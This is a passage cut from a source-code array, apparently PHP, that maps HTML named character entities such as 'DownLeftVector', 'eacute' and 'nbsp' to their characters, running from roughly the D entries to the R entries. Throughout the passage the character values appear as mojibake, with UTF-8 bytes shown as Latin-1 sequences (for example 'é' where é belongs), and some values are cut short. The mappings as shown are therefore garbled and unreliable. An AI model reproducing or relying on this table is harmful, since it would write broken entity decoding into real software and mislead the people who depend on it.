'DownLeftTeeVector' => '⥞', 'DownLeftVector' => '↽', 'DownLeftVectorBar' => '⥖', 'DownRightTeeVector' => '⥟', 'DownRightVector' => 'â‡', 'DownRightVectorBar' => '⥗', 'DownTee' => '⊤', 'DownTeeArrow' => '↧', 'drbkarow' => 'â¤', 'drcorn' => '⌟', 'drcrop' => '⌌', 'Dscr' => 'ð’Ÿ', 'dscr' => 'ð’¹', 'DScy' => 'Ð…', 'dscy' => 'Ñ•', 'dsol' => '⧶', 'Dstrok' => 'Ä', 'dstrok' => 'Ä‘', 'dtdot' => '⋱', 'dtri' => 'â–¿', 'dtrif' => 'â–¾', 'duarr' => '⇵', 'duhar' => '⥯', 'dwangle' => '⦦', 'DZcy' => 'Ð', 'dzcy' => 'ÑŸ', 'dzigrarr' => '⟿', 'Eacute' => 'É', 'Eacut' => 'É', 'eacute' => 'é', 'eacut' => 'é', 'easter' => 'â©®', 'Ecaron' => 'Äš', 'ecaron' => 'Ä›', 'ecir' => 'ê', 'Ecirc' => 'Ê', 'Ecir' => 'Ê', 'ecirc' => 'ê', 'ecolon' => '≕', 'Ecy' => 'Э', 'ecy' => 'Ñ', 'eDDot' => 'â©·', 'Edot' => 'Ä–', 'eDot' => '≑', 'edot' => 'Ä—', 'ee' => 'â…‡', 'efDot' => '≒', 'Efr' => 'ð”ˆ', 'efr' => 'ð”¢', 'eg' => '⪚', 'Egrave' => 'È', 'Egrav' => 'È', 'egrave' => 'è', 'egrav' => 'è', 'egs' => '⪖', 'egsdot' => '⪘', 'el' => '⪙', 'Element' => '∈', 'elinters' => 'â§', 'ell' => 'â„“', 'els' => '⪕', 'elsdot' => '⪗', 'Emacr' => 'Ä’', 'emacr' => 'Ä“', 'empty' => '∅', 'emptyset' => '∅', 'EmptySmallSquare' => 'â—»', 'emptyv' => '∅', 'EmptyVerySmallSquare' => 'â–«', 'emsp' => ' ', 'emsp13' => ' ', 'emsp14' => ' ', 'ENG' => 'ÅŠ', 'eng' => 'Å‹', 'ensp' => ' ', 'Eogon' => 'Ę', 'eogon' => 'Ä™', 'Eopf' => 'ð”¼', 'eopf' => 'ð•–', 'epar' => 'â‹•', 'eparsl' => '⧣', 'eplus' => '⩱', 'epsi' => 'ε', 'Epsilon' => 'Ε', 'epsilon' => 'ε', 'epsiv' => 'ϵ', 'eqcirc' => '≖', 'eqcolon' => '≕', 'eqsim' => '≂', 'eqslantgtr' => '⪖', 'eqslantless' => '⪕', 'Equal' => '⩵', 'equals' => '=', 'EqualTilde' => '≂', 'equest' => '≟', 'Equilibrium' => '⇌', 'equiv' => '≡', 'equivDD' => '⩸', 'eqvparsl' => '⧥', 'erarr' => '⥱', 'erDot' => '≓', 'Escr' => 'â„°', 'escr' => 'ℯ', 'esdot' => 'â‰', 'Esim' => '⩳', 'esim' => '≂', 'Eta' => 'Η', 'eta' => 'η', 'ETH' => 'Ã', 'ET' => 'Ã', 'eth' => 'ð', 'et' => 'ð', 'Euml' => 'Ë', 'Eum' => 'Ë', 'euml' => 'ë', 'eum' => 'ë', 'euro' => '€', 'excl' => '!', 'exist' => '∃', 'Exists' => '∃', 'expectation' => 'â„°', 'ExponentialE' => 'â…‡', 'exponentiale' => 'â…‡', 'fallingdotseq' => '≒', 'Fcy' => 'Ф', 'fcy' => 'Ñ„', 'female' => '♀', 'ffilig' => 'ffi', 'fflig' => 'ff', 'ffllig' => 'ffl', 'Ffr' => 'ð”‰', 'ffr' => 'ð”£', 'filig' => 'ï¬', 'FilledSmallSquare' => 'â—¼', 'FilledVerySmallSquare' => 'â–ª', 'fjlig' => 'fj', 'flat' => 'â™­', 'fllig' => 'fl', 'fltns' => 'â–±', 'fnof' => 'Æ’', 'Fopf' => 'ð”½', 'fopf' => 'ð•—', 'ForAll' => '∀', 'forall' => '∀', 'fork' => 'â‹”', 'forkv' => 'â«™', 'Fouriertrf' => 'ℱ', 'fpartint' => 'â¨', 'frac12' => '½', 'frac1' => '¼', 'frac13' => 'â…“', 'frac14' => '¼', 'frac15' => 'â…•', 'frac16' => 'â…™', 'frac18' => 'â…›', 'frac23' => 'â…”', 'frac25' => 'â…–', 'frac34' => '¾', 'frac3' => '¾', 'frac35' => 'â…—', 'frac38' => 'â…œ', 'frac45' => 'â…˜', 'frac56' => 'â…š', 'frac58' => 'â…', 'frac78' => 'â…ž', 'frasl' => 'â„', 'frown' => '⌢', 'Fscr' => 'ℱ', 'fscr' => 'ð’»', 'gacute' => 'ǵ', 'Gamma' => 'Γ', 'gamma' => 'γ', 'Gammad' => 'Ïœ', 'gammad' => 'Ï', 'gap' => '⪆', 'Gbreve' => 'Äž', 'gbreve' => 'ÄŸ', 'Gcedil' => 'Ä¢', 'Gcirc' => 'Äœ', 'gcirc' => 'Ä', 'Gcy' => 'Г', 'gcy' => 'г', 'Gdot' => 'Ä ', 'gdot' => 'Ä¡', 'gE' => '≧', 'ge' => '≥', 'gEl' => '⪌', 'gel' => 'â‹›', 'geq' => '≥', 'geqq' => '≧', 'geqslant' => '⩾', 'ges' => '⩾', 'gescc' => '⪩', 'gesdot' => '⪀', 'gesdoto' => '⪂', 'gesdotol' => '⪄', 'gesl' => '⋛︀', 'gesles' => '⪔', 'Gfr' => 'ð”Š', 'gfr' => 'ð”¤', 'Gg' => 'â‹™', 'gg' => '≫', 'ggg' => 'â‹™', 'gimel' => 'â„·', 'GJcy' => 'Ѓ', 'gjcy' => 'Ñ“', 'gl' => '≷', 'gla' => '⪥', 'glE' => '⪒', 'glj' => '⪤', 'gnap' => '⪊', 'gnapprox' => '⪊', 'gnE' => '≩', 'gne' => '⪈', 'gneq' => '⪈', 'gneqq' => '≩', 'gnsim' => '⋧', 'Gopf' => 'ð”¾', 'gopf' => 'ð•˜', 'grave' => '`', 'GreaterEqual' => '≥', 'GreaterEqualLess' => 'â‹›', 'GreaterFullEqual' => '≧', 'GreaterGreater' => '⪢', 'GreaterLess' => '≷', 'GreaterSlantEqual' => '⩾', 'GreaterTilde' => '≳', 'Gscr' => 'ð’¢', 'gscr' => 'â„Š', 'gsim' => '≳', 'gsime' => '⪎', 'gsiml' => 'âª', 'GT' => '>', 'G' => '>', 'Gt' => '≫', 'gt' => '>', 'g' => '>', 'gtcc' => '⪧', 'gtcir' => '⩺', 'gtdot' => 'â‹—', 'gtlPar' => '⦕', 'gtquest' => '⩼', 'gtrapprox' => '⪆', 'gtrarr' => '⥸', 'gtrdot' => 'â‹—', 'gtreqless' => 'â‹›', 'gtreqqless' => '⪌', 'gtrless' => '≷', 'gtrsim' => '≳', 'gvertneqq' => '≩︀', 'gvnE' => '≩︀', 'Hacek' => 'ˇ', 'hairsp' => ' ', 'half' => '½', 'hamilt' => 'â„‹', 'HARDcy' => 'Ъ', 'hardcy' => 'ÑŠ', 'hArr' => '⇔', 'harr' => '↔', 'harrcir' => '⥈', 'harrw' => '↭', 'Hat' => '^', 'hbar' => 'â„', 'Hcirc' => 'Ĥ', 'hcirc' => 'Ä¥', 'hearts' => '♥', 'heartsuit' => '♥', 'hellip' => '…', 'hercon' => '⊹', 'Hfr' => 'â„Œ', 'hfr' => 'ð”¥', 'HilbertSpace' => 'â„‹', 'hksearow' => '⤥', 'hkswarow' => '⤦', 'hoarr' => '⇿', 'homtht' => '∻', 'hookleftarrow' => '↩', 'hookrightarrow' => '↪', 'Hopf' => 'â„', 'hopf' => 'ð•™', 'horbar' => '―', 'HorizontalLine' => '─', 'Hscr' => 'â„‹', 'hscr' => 'ð’½', 'hslash' => 'â„', 'Hstrok' => 'Ħ', 'hstrok' => 'ħ', 'HumpDownHump' => '≎', 'HumpEqual' => 'â‰', 'hybull' => 'âƒ', 'hyphen' => 'â€', 'Iacute' => 'Ã', 'Iacut' => 'Ã', 'iacute' => 'í', 'iacut' => 'í', 'ic' => 'â£', 'Icirc' => 'ÃŽ', 'Icir' => 'ÃŽ', 'icirc' => 'î', 'icir' => 'î', 'Icy' => 'И', 'icy' => 'и', 'Idot' => 'Ä°', 'IEcy' => 'Е', 'iecy' => 'е', 'iexcl' => '¡', 'iexc' => '¡', 'iff' => '⇔', 'Ifr' => 'â„‘', 'ifr' => 'ð”¦', 'Igrave' => 'ÃŒ', 'Igrav' => 'ÃŒ', 'igrave' => 'ì', 'igrav' => 'ì', 'ii' => 'â…ˆ', 'iiiint' => '⨌', 'iiint' => '∭', 'iinfin' => '⧜', 'iiota' => 'â„©', 'IJlig' => 'IJ', 'ijlig' => 'ij', 'Im' => 'â„‘', 'Imacr' => 'Ī', 'imacr' => 'Ä«', 'image' => 'â„‘', 'ImaginaryI' => 'â…ˆ', 'imagline' => 'â„', 'imagpart' => 'â„‘', 'imath' => 'ı', 'imof' => '⊷', 'imped' => 'Ƶ', 'Implies' => '⇒', 'in' => '∈', 'incare' => 'â„…', 'infin' => '∞', 'infintie' => 'â§', 'inodot' => 'ı', 'Int' => '∬', 'int' => '∫', 'intcal' => '⊺', 'integers' => 'ℤ', 'Integral' => '∫', 'intercal' => '⊺', 'Intersection' => 'â‹‚', 'intlarhk' => '⨗', 'intprod' => '⨼', 'InvisibleComma' => 'â£', 'InvisibleTimes' => 'â¢', 'IOcy' => 'Ð', 'iocy' => 'Ñ‘', 'Iogon' => 'Ä®', 'iogon' => 'į', 'Iopf' => 'ð•€', 'iopf' => 'ð•š', 'Iota' => 'Ι', 'iota' => 'ι', 'iprod' => '⨼', 'iquest' => '¿', 'iques' => '¿', 'Iscr' => 'â„', 'iscr' => 'ð’¾', 'isin' => '∈', 'isindot' => '⋵', 'isinE' => '⋹', 'isins' => 'â‹´', 'isinsv' => '⋳', 'isinv' => '∈', 'it' => 'â¢', 'Itilde' => 'Ĩ', 'itilde' => 'Ä©', 'Iukcy' => 'І', 'iukcy' => 'Ñ–', 'Iuml' => 'Ã', 'Ium' => 'Ã', 'iuml' => 'ï', 'ium' => 'ï', 'Jcirc' => 'Ä´', 'jcirc' => 'ĵ', 'Jcy' => 'Й', 'jcy' => 'й', 'Jfr' => 'ð”', 'jfr' => 'ð”§', 'jmath' => 'È·', 'Jopf' => 'ð•', 'jopf' => 'ð•›', 'Jscr' => 'ð’¥', 'jscr' => 'ð’¿', 'Jsercy' => 'Ј', 'jsercy' => 'ј', 'Jukcy' => 'Є', 'jukcy' => 'Ñ”', 'Kappa' => 'Κ', 'kappa' => 'κ', 'kappav' => 'Ï°', 'Kcedil' => 'Ķ', 'kcedil' => 'Ä·', 'Kcy' => 'К', 'kcy' => 'к', 'Kfr' => 'ð”Ž', 'kfr' => 'ð”¨', 'kgreen' => 'ĸ', 'KHcy' => 'Ð¥', 'khcy' => 'Ñ…', 'KJcy' => 'ÐŒ', 'kjcy' => 'Ñœ', 'Kopf' => 'ð•‚', 'kopf' => 'ð•œ', 'Kscr' => 'ð’¦', 'kscr' => 'ð“€', 'lAarr' => '⇚', 'Lacute' => 'Ĺ', 'lacute' => 'ĺ', 'laemptyv' => '⦴', 'lagran' => 'â„’', 'Lambda' => 'Λ', 'lambda' => 'λ', 'Lang' => '⟪', 'lang' => '⟨', 'langd' => '⦑', 'langle' => '⟨', 'lap' => '⪅', 'Laplacetrf' => 'â„’', 'laquo' => '«', 'laqu' => '«', 'Larr' => '↞', 'lArr' => 'â‡', 'larr' => 'â†', 'larrb' => '⇤', 'larrbfs' => '⤟', 'larrfs' => 'â¤', 'larrhk' => '↩', 'larrlp' => '↫', 'larrpl' => '⤹', 'larrsim' => '⥳', 'larrtl' => '↢', 'lat' => '⪫', 'lAtail' => '⤛', 'latail' => '⤙', 'late' => '⪭', 'lates' => '⪭︀', 'lBarr' => '⤎', 'lbarr' => '⤌', 'lbbrk' => 'â²', 'lbrace' => '{', 'lbrack' => '[', 'lbrke' => '⦋', 'lbrksld' => 'â¦', 'lbrkslu' => 'â¦', 'Lcaron' => 'Ľ', 'lcaron' => 'ľ', 'Lcedil' => 'Ä»', 'lcedil' => 'ļ', 'lceil' => '⌈', 'lcub' => '{', 'Lcy' => 'Л', 'lcy' => 'л', 'ldca' => '⤶', 'ldquo' => '“', 'ldquor' => '„', 'ldrdhar' => '⥧', 'ldrushar' => '⥋', 'ldsh' => '↲', 'lE' => '≦', 'le' => '≤', 'LeftAngleBracket' => '⟨', 'LeftArrow' => 'â†', 'Leftarrow' => 'â‡', 'leftarrow' => 'â†', 'LeftArrowBar' => '⇤', 'LeftArrowRightArrow' => '⇆', 'leftarrowtail' => '↢', 'LeftCeiling' => '⌈', 'LeftDoubleBracket' => '⟦', 'LeftDownTeeVector' => '⥡', 'LeftDownVector' => '⇃', 'LeftDownVectorBar' => '⥙', 'LeftFloor' => '⌊', 'leftharpoondown' => '↽', 'leftharpoonup' => '↼', 'leftleftarrows' => '⇇', 'LeftRightArrow' => '↔', 'Leftrightarrow' => '⇔', 'leftrightarrow' => '↔', 'leftrightarrows' => '⇆', 'leftrightharpoons' => '⇋', 'leftrightsquigarrow' => '↭', 'LeftRightVector' => '⥎', 'LeftTee' => '⊣', 'LeftTeeArrow' => '↤', 'LeftTeeVector' => '⥚', 'leftthreetimes' => 'â‹‹', 'LeftTriangle' => '⊲', 'LeftTriangleBar' => 'â§', 'LeftTriangleEqual' => '⊴', 'LeftUpDownVector' => '⥑', 'LeftUpTeeVector' => '⥠', 'LeftUpVector' => '↿', 'LeftUpVectorBar' => '⥘', 'LeftVector' => '↼', 'LeftVectorBar' => '⥒', 'lEg' => '⪋', 'leg' => 'â‹š', 'leq' => '≤', 'leqq' => '≦', 'leqslant' => '⩽', 'les' => '⩽', 'lescc' => '⪨', 'lesdot' => 'â©¿', 'lesdoto' => 'âª', 'lesdotor' => '⪃', 'lesg' => '⋚︀', 'lesges' => '⪓', 'lessapprox' => '⪅', 'lessdot' => 'â‹–', 'lesseqgtr' => 'â‹š', 'lesseqqgtr' => '⪋', 'LessEqualGreater' => 'â‹š', 'LessFullEqual' => '≦', 'LessGreater' => '≶', 'lessgtr' => '≶', 'LessLess' => '⪡', 'lesssim' => '≲', 'LessSlantEqual' => '⩽', 'LessTilde' => '≲', 'lfisht' => '⥼', 'lfloor' => '⌊', 'Lfr' => 'ð”', 'lfr' => 'ð”©', 'lg' => '≶', 'lgE' => '⪑', 'lHar' => '⥢', 'lhard' => '↽', 'lharu' => '↼', 'lharul' => '⥪', 'lhblk' => 'â–„', 'LJcy' => 'Љ', 'ljcy' => 'Ñ™', 'Ll' => '⋘', 'll' => '≪', 'llarr' => '⇇', 'llcorner' => '⌞', 'Lleftarrow' => '⇚', 'llhard' => '⥫', 'lltri' => 'â—º', 'Lmidot' => 'Ä¿', 'lmidot' => 'Å€', 'lmoust' => '⎰', 'lmoustache' => '⎰', 'lnap' => '⪉', 'lnapprox' => '⪉', 'lnE' => '≨', 'lne' => '⪇', 'lneq' => '⪇', 'lneqq' => '≨', 'lnsim' => '⋦', 'loang' => '⟬', 'loarr' => '⇽', 'lobrk' => '⟦', 'LongLeftArrow' => '⟵', 'Longleftarrow' => '⟸', 'longleftarrow' => '⟵', 'LongLeftRightArrow' => '⟷', 'Longleftrightarrow' => '⟺', 'longleftrightarrow' => '⟷', 'longmapsto' => '⟼', 'LongRightArrow' => '⟶', 'Longrightarrow' => '⟹', 'longrightarrow' => '⟶', 'looparrowleft' => '↫', 'looparrowright' => '↬', 'lopar' => '⦅', 'Lopf' => 'ð•ƒ', 'lopf' => 'ð•', 'loplus' => '⨭', 'lotimes' => '⨴', 'lowast' => '∗', 'lowbar' => '_', 'LowerLeftArrow' => '↙', 'LowerRightArrow' => '↘', 'loz' => 'â—Š', 'lozenge' => 'â—Š', 'lozf' => '⧫', 'lpar' => '(', 'lparlt' => '⦓', 'lrarr' => '⇆', 'lrcorner' => '⌟', 'lrhar' => '⇋', 'lrhard' => '⥭', 'lrm' => '‎', 'lrtri' => '⊿', 'lsaquo' => '‹', 'Lscr' => 'â„’', 'lscr' => 'ð“', 'Lsh' => '↰', 'lsh' => '↰', 'lsim' => '≲', 'lsime' => 'âª', 'lsimg' => 'âª', 'lsqb' => '[', 'lsquo' => '‘', 'lsquor' => '‚', 'Lstrok' => 'Å', 'lstrok' => 'Å‚', 'LT' => '<', 'L' => '<', 'Lt' => '≪', 'lt' => '<', 'l' => '<', 'ltcc' => '⪦', 'ltcir' => '⩹', 'ltdot' => 'â‹–', 'lthree' => 'â‹‹', 'ltimes' => '⋉', 'ltlarr' => '⥶', 'ltquest' => 'â©»', 'ltri' => 'â—ƒ', 'ltrie' => '⊴', 'ltrif' => 'â—‚', 'ltrPar' => '⦖', 'lurdshar' => '⥊', 'luruhar' => '⥦', 'lvertneqq' => '≨︀', 'lvnE' => '≨︀', 'macr' => '¯', 'mac' => '¯', 'male' => '♂', 'malt' => '✠', 'maltese' => '✠', 'Map' => '⤅', 'map' => '↦', 'mapsto' => '↦', 'mapstodown' => '↧', 'mapstoleft' => '↤', 'mapstoup' => '↥', 'marker' => 'â–®', 'mcomma' => '⨩', 'Mcy' => 'Ðœ', 'mcy' => 'м', 'mdash' => '—', 'mDDot' => '∺', 'measuredangle' => '∡', 'MediumSpace' => 'âŸ', 'Mellintrf' => 'ℳ', 'Mfr' => 'ð”', 'mfr' => 'ð”ª', 'mho' => '℧', 'micro' => 'µ', 'micr' => 'µ', 'mid' => '∣', 'midast' => '*', 'midcir' => 'â«°', 'middot' => '·', 'middo' => '·', 'minus' => '−', 'minusb' => '⊟', 'minusd' => '∸', 'minusdu' => '⨪', 'MinusPlus' => '∓', 'mlcp' => 'â«›', 'mldr' => '…', 'mnplus' => '∓', 'models' => '⊧', 'Mopf' => 'ð•„', 'mopf' => 'ð•ž', 'mp' => '∓', 'Mscr' => 'ℳ', 'mscr' => 'ð“‚', 'mstpos' => '∾', 'Mu' => 'Îœ', 'mu' => 'μ', 'multimap' => '⊸', 'mumap' => '⊸', 'nabla' => '∇', 'Nacute' => 'Ń', 'nacute' => 'Å„', 'nang' => '∠⃒', 'nap' => '≉', 'napE' => '⩰̸', 'napid' => '≋̸', 'napos' => 'ʼn', 'napprox' => '≉', 'natur' => 'â™®', 'natural' => 'â™®', 'naturals' => 'â„•', 'nbsp' => ' ', 'nbs' => ' ', 'nbump' => '≎̸', 'nbumpe' => 'â‰Ì¸', 'ncap' => '⩃', 'Ncaron' => 'Ň', 'ncaron' => 'ň', 'Ncedil' => 'Å…', 'ncedil' => 'ņ', 'ncong' => '≇', 'ncongdot' => '⩭̸', 'ncup' => 'â©‚', 'Ncy' => 'Ð', 'ncy' => 'н', 'ndash' => '–', 'ne' => '≠', 'nearhk' => '⤤', 'neArr' => '⇗', 'nearr' => '↗', 'nearrow' => '↗', 'nedot' => 'â‰Ì¸', 'NegativeMediumSpace' => '​', 'NegativeThickSpace' => '​', 'NegativeThinSpace' => '​', 'NegativeVeryThinSpace' => '​', 'nequiv' => '≢', 'nesear' => '⤨', 'nesim' => '≂̸', 'NestedGreaterGreater' => '≫', 'NestedLessLess' => '≪', 'NewLine' => ' ', 'nexist' => '∄', 'nexists' => '∄', 'Nfr' => 'ð”‘', 'nfr' => 'ð”«', 'ngE' => '≧̸', 'nge' => '≱', 'ngeq' => '≱', 'ngeqq' => '≧̸', 'ngeqslant' => '⩾̸', 'nges' => '⩾̸', 'nGg' => '⋙̸', 'ngsim' => '≵', 'nGt' => '≫⃒', 'ngt' => '≯', 'ngtr' => '≯', 'nGtv' => '≫̸', 'nhArr' => '⇎', 'nharr' => '↮', 'nhpar' => '⫲', 'ni' => '∋', 'nis' => '⋼', 'nisd' => '⋺', 'niv' => '∋', 'NJcy' => 'Њ', 'njcy' => 'Ñš', 'nlArr' => 'â‡', 'nlarr' => '↚', 'nldr' => '‥', 'nlE' => '≦̸', 'nle' => '≰', 'nLeftarrow' => 'â‡', 'nleftarrow' => '↚', 'nLeftrightarrow' => '⇎', 'nleftrightarrow' => '↮', 'nleq' => '≰', 'nleqq' => '≦̸', 'nleqslant' => '⩽̸', 'nles' => '⩽̸', 'nless' => '≮', 'nLl' => '⋘̸', 'nlsim' => '≴', 'nLt' => '≪⃒', 'nlt' => '≮', 'nltri' => '⋪', 'nltrie' => '⋬', 'nLtv' => '≪̸', 'nmid' => '∤', 'NoBreak' => 'â ', 'NonBreakingSpace' => ' ', 'Nopf' => 'â„•', 'nopf' => 'ð•Ÿ', 'Not' => '⫬', 'not' => '¬', 'no' => '¬', 'NotCongruent' => '≢', 'NotCupCap' => '≭', 'NotDoubleVerticalBar' => '∦', 'NotElement' => '∉', 'NotEqual' => '≠', 'NotEqualTilde' => '≂̸', 'NotExists' => '∄', 'NotGreater' => '≯', 'NotGreaterEqual' => '≱', 'NotGreaterFullEqual' => '≧̸', 'NotGreaterGreater' => '≫̸', 'NotGreaterLess' => '≹', 'NotGreaterSlantEqual' => '⩾̸', 'NotGreaterTilde' => '≵', 'NotHumpDownHump' => '≎̸', 'NotHumpEqual' => 'â‰Ì¸', 'notin' => '∉', 'notindot' => '⋵̸', 'notinE' => '⋹̸', 'notinva' => '∉', 'notinvb' => 'â‹·', 'notinvc' => '⋶', 'NotLeftTriangle' => '⋪', 'NotLeftTriangleBar' => 'â§Ì¸', 'NotLeftTriangleEqual' => '⋬', 'NotLess' => '≮', 'NotLessEqual' => '≰', 'NotLessGreater' => '≸', 'NotLessLess' => '≪̸', 'NotLessSlantEqual' => '⩽̸', 'NotLessTilde' => '≴', 'NotNestedGreaterGreater' => '⪢̸', 'NotNestedLessLess' => '⪡̸', 'notni' => '∌', 'notniva' => '∌', 'notnivb' => '⋾', 'notnivc' => '⋽', 'NotPrecedes' => '⊀', 'NotPrecedesEqual' => '⪯̸', 'NotPrecedesSlantEqual' => 'â‹ ', 'NotReverseElement' => '∌', 'NotRightTriangle' => 'â‹«', 'NotRightTriangleBar' => 'â§Ì¸', 'NotRightTriangleEqual' => 'â‹­', 'NotSquareSubset' => 'âŠÌ¸', 'NotSquareSubsetEqual' => 'â‹¢', 'NotSquareSuperset' => 'âŠÌ¸', 'NotSquareSupersetEqual' => 'â‹£', 'NotSubset' => '⊂⃒', 'NotSubsetEqual' => '⊈', 'NotSucceeds' => 'âŠ', 'NotSucceedsEqual' => '⪰̸', 'NotSucceedsSlantEqual' => 'â‹¡', 'NotSucceedsTilde' => '≿̸', 'NotSuperset' => '⊃⃒', 'NotSupersetEqual' => '⊉', 'NotTilde' => 'â‰', 'NotTildeEqual' => '≄', 'NotTildeFullEqual' => '≇', 'NotTildeTilde' => '≉', 'NotVerticalBar' => '∤', 'npar' => '∦', 'nparallel' => '∦', 'nparsl' => '⫽⃥', 'npart' => '∂̸', 'npolint' => '⨔', 'npr' => '⊀', 'nprcue' => 'â‹ ', 'npre' => '⪯̸', 'nprec' => '⊀', 'npreceq' => '⪯̸', 'nrArr' => 'â‡', 'nrarr' => '↛', 'nrarrc' => '⤳̸', 'nrarrw' => 'â†Ì¸', 'nRightarrow' => 'â‡', 'nrightarrow' => '↛', 'nrtri' => 'â‹«', 'nrtrie' => 'â‹­', 'nsc' => 'âŠ', 'nsccue' => 'â‹¡', 'nsce' => '⪰̸', 'Nscr' => 'ð’©', 'nscr' => 'ð“ƒ', 'nshortmid' => '∤', 'nshortparallel' => '∦', 'nsim' => 'â‰', 'nsime' => '≄', 'nsimeq' => '≄', 'nsmid' => '∤', 'nspar' => '∦', 'nsqsube' => 'â‹¢', 'nsqsupe' => 'â‹£', 'nsub' => '⊄', 'nsubE' => '⫅̸', 'nsube' => '⊈', 'nsubset' => '⊂⃒', 'nsubseteq' => '⊈', 'nsubseteqq' => '⫅̸', 'nsucc' => 'âŠ', 'nsucceq' => '⪰̸', 'nsup' => '⊅', 'nsupE' => '⫆̸', 'nsupe' => '⊉', 'nsupset' => '⊃⃒', 'nsupseteq' => '⊉', 'nsupseteqq' => '⫆̸', 'ntgl' => '≹', 'Ntilde' => 'Ñ', 'Ntild' => 'Ñ', 'ntilde' => 'ñ', 'ntild' => 'ñ', 'ntlg' => '≸', 'ntriangleleft' => '⋪', 'ntrianglelefteq' => '⋬', 'ntriangleright' => 'â‹«', 'ntrianglerighteq' => 'â‹­', 'Nu' => 'Î', 'nu' => 'ν', 'num' => '#', 'numero' => 'â„–', 'numsp' => ' ', 'nvap' => 'â‰âƒ’', 'nVDash' => '⊯', 'nVdash' => '⊮', 'nvDash' => '⊭', 'nvdash' => '⊬', 'nvge' => '≥⃒', 'nvgt' => '>⃒', 'nvHarr' => '⤄', 'nvinfin' => '⧞', 'nvlArr' => '⤂', 'nvle' => '≤⃒', 'nvlt' => '<⃒', 'nvltrie' => '⊴⃒', 'nvrArr' => '⤃', 'nvrtrie' => '⊵⃒', 'nvsim' => '∼⃒', 'nwarhk' => '⤣', 'nwArr' => '⇖', 'nwarr' => '↖', 'nwarrow' => '↖', 'nwnear' => '⤧', 'Oacute' => 'Ó', 'Oacut' => 'Ó', 'oacute' => 'ó', 'oacut' => 'ó', 'oast' => '⊛', 'ocir' => 'ô', 'Ocirc' => 'Ô', 'Ocir' => 'Ô', 'ocirc' => 'ô', 'Ocy' => 'О', 'ocy' => 'о', 'odash' => 'âŠ', 'Odblac' => 'Å', 'odblac' => 'Å‘', 'odiv' => '⨸', 'odot' => '⊙', 'odsold' => '⦼', 'OElig' => 'Å’', 'oelig' => 'Å“', 'ofcir' => '⦿', 'Ofr' => 'ð”’', 'ofr' => 'ð”¬', 'ogon' => 'Ë›', 'Ograve' => 'Ã’', 'Ograv' => 'Ã’', 'ograve' => 'ò', 'ograv' => 'ò', 'ogt' => 'â§', 'ohbar' => '⦵', 'ohm' => 'Ω', 'oint' => '∮', 'olarr' => '↺', 'olcir' => '⦾', 'olcross' => '⦻', 'oline' => '‾', 'olt' => '⧀', 'Omacr' => 'ÅŒ', 'omacr' => 'Å', 'Omega' => 'Ω', 'omega' => 'ω', 'Omicron' => 'Ο', 'omicron' => 'ο', 'omid' => '⦶', 'ominus' => '⊖', 'Oopf' => 'ð•†', 'oopf' => 'ð• ', 'opar' => '⦷', 'OpenCurlyDoubleQuote' => '“', 'OpenCurlyQuote' => '‘', 'operp' => '⦹', 'oplus' => '⊕', 'Or' => 'â©”', 'or' => '∨', 'orarr' => '↻', 'ord' => 'º', 'order' => 'â„´', 'orderof' => 'â„´', 'ordf' => 'ª', 'ordm' => 'º', 'origof' => '⊶', 'oror' => 'â©–', 'orslope' => 'â©—', 'orv' => 'â©›', 'oS' => 'Ⓢ', 'Oscr' => 'ð’ª', 'oscr' => 'â„´', 'Oslash' => 'Ø', 'Oslas' => 'Ø', 'oslash' => 'ø', 'oslas' => 'ø', 'osol' => '⊘', 'Otilde' => 'Õ', 'Otild' => 'Õ', 'otilde' => 'õ', 'otild' => 'õ', 'Otimes' => '⨷', 'otimes' => '⊗', 'otimesas' => '⨶', 'Ouml' => 'Ö', 'Oum' => 'Ö', 'ouml' => 'ö', 'oum' => 'ö', 'ovbar' => '⌽', 'OverBar' => '‾', 'OverBrace' => 'âž', 'OverBracket' => '⎴', 'OverParenthesis' => 'âœ', 'par' => '¶', 'para' => '¶', 'parallel' => '∥', 'parsim' => '⫳', 'parsl' => '⫽', 'part' => '∂', 'PartialD' => '∂', 'Pcy' => 'П', 'pcy' => 'п', 'percnt' => '%', 'period' => '.', 'permil' => '‰', 'perp' => '⊥', 'pertenk' => '‱', 'Pfr' => 'ð”“', 'pfr' => 'ð”­', 'Phi' => 'Φ', 'phi' => 'φ', 'phiv' => 'Ï•', 'phmmat' => 'ℳ', 'phone' => '☎', 'Pi' => 'Π', 'pi' => 'Ï€', 'pitchfork' => 'â‹”', 'piv' => 'Ï–', 'planck' => 'â„', 'planckh' => 'â„Ž', 'plankv' => 'â„', 'plus' => '+', 'plusacir' => '⨣', 'plusb' => '⊞', 'pluscir' => '⨢', 'plusdo' => '∔', 'plusdu' => '⨥', 'pluse' => '⩲', 'PlusMinus' => '±', 'plusmn' => '±', 'plusm' => '±', 'plussim' => '⨦', 'plustwo' => '⨧', 'pm' => '±', 'Poincareplane' => 'â„Œ', 'pointint' => '⨕', 'Popf' => 'â„™', 'popf' => 'ð•¡', 'pound' => '£', 'poun' => '£', 'Pr' => '⪻', 'pr' => '≺', 'prap' => '⪷', 'prcue' => '≼', 'prE' => '⪳', 'pre' => '⪯', 'prec' => '≺', 'precapprox' => '⪷', 'preccurlyeq' => '≼', 'Precedes' => '≺', 'PrecedesEqual' => '⪯', 'PrecedesSlantEqual' => '≼', 'PrecedesTilde' => '≾', 'preceq' => '⪯', 'precnapprox' => '⪹', 'precneqq' => '⪵', 'precnsim' => '⋨', 'precsim' => '≾', 'Prime' => '″', 'prime' => '′', 'primes' => 'â„™', 'prnap' => '⪹', 'prnE' => '⪵', 'prnsim' => '⋨', 'prod' => 'âˆ', 'Product' => 'âˆ', 'profalar' => '⌮', 'profline' => '⌒', 'profsurf' => '⌓', 'prop' => 'âˆ', 'Proportion' => '∷', 'Proportional' => 'âˆ', 'propto' => 'âˆ', 'prsim' => '≾', 'prurel' => '⊰', 'Pscr' => 'ð’«', 'pscr' => 'ð“…', 'Psi' => 'Ψ', 'psi' => 'ψ', 'puncsp' => ' ', 'Qfr' => 'ð””', 'qfr' => 'ð”®', 'qint' => '⨌', 'Qopf' => 'â„š', 'qopf' => 'ð•¢', 'qprime' => 'â—', 'Qscr' => 'ð’¬', 'qscr' => 'ð“†', 'quaternions' => 'â„', 'quatint' => '⨖', 'quest' => '?', 'questeq' => '≟', 'QUOT' => '"', 'QUO' => '"', 'quot' => '"', 'quo' => '"', 'rAarr' => '⇛', 'race' => '∽̱', 'Racute' => 'Å”', 'racute' => 'Å•', 'radic' => '√', 'raemptyv' => '⦳', 'Rang' => '⟫', 'rang' => '⟩', 'rangd' => '⦒', 'range' => '⦥', 'rangle' => '⟩', 'raquo' => '»', 'raqu' => '»', 'Rarr' => '↠', 'rArr' => '⇒', 